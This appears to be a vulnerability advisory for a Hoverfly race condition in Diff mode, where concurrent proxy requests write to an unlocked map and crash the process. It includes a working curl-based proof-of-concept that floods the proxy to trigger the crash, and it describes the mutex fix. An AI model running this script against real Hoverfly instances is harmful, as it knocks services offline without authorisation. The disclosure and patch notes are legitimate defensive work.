CVE-2026-50013: Hoverfly Concurrent Map Write DoS in Diff Mode
Hoverfly's Diff mode crashes the entire proxy process when multiple requests arrive at the same time, because it writes to a shared map without any locking.
The problem
In Diff mode, every proxy request goroutine calls AddDiff() in core/hoverfly_service.go to record a comparison result. That function reads and writes the responsesDiff map without holding any mutex.
Go's runtime has a built-in concurrent-map detector. When two goroutines touch the same map simultaneously and at least one is writing, the runtime fires fatal error: concurrent map read and map write. This is unrecoverable; recover() cannot catch it. The whole Hoverfly process dies immediately, giving an attacker a trivial, no-auth-required denial of service.
Proof of concept
A working proof-of-concept for CVE-2026-50013 in github.com/SpectoLabs/hoverfly, with the exact payload below.
# Step 1: start Hoverfly and switch it to diff mode
./hoverfly &
sleep 2
curl -s -X PUT http://localhost:8888/api/v2/hoverfly/mode \
-H 'Content-Type: application/json' \
-d '{"mode": "diff"}'
# Load a catch-all simulation so diff comparisons actually run
curl -s -X PUT http://localhost:8888/api/v2/simulation \
-H 'Content-Type: application/json' \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "expected"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
# Step 2: flood the proxy port with concurrent requests
# ~50 parallel requests are enough to trigger the race
for i in $(seq 1 50); do
curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait
# Step 3: confirm the process is dead
pgrep -f hoverfly || echo 'CRASHED: hoverfly is no longer running'The root cause is CWE-362 / CWE-820: responsesDiff is declared as a plain map[v2.SimpleRequestDefinitionView][]v2.DiffReport on the Hoverfly struct with no associated lock, while Go's net/http server dispatches each request in its own goroutine.
PR #1227 (v1.12.8) adds a sync.RWMutex (a diffMu field) to the struct and wraps every read and write of responsesDiff with diffMu.Lock() / diffMu.Unlock() calls. This is the same pattern already used by hf.state, which correctly guards its map with a sync.RWMutex.
Without the lock, concurrent calls to AddDiff() collide on the map and trigger the unrecoverable Go runtime fatal error.
The fix
Upgrade to Hoverfly v1.12.8 or later. The fix in PR #1227 introduces a dedicated sync.RWMutex that serializes all reads and writes to responsesDiff. No configuration change is needed after upgrading.
Related research
- high · 7.5CVE-2026-48708CVE-2026-48708: OliveTin Concurrent Template Parsing Race Condition
- high · 7.7CVE-2026-54910CVE-2026-54910: FileBrowser Quantum Path Traversal in Subtitle Handler
- critical · 9.6CVE-2026-54725CVE-2026-54725: vault-secrets-webhook Annotation SSRF and ServiceAccount Token Theft
- critical · 9.9CVE-2026-54680CVE-2026-54680: kube-logging/logging-operator Fluentd Configuration Injection RCE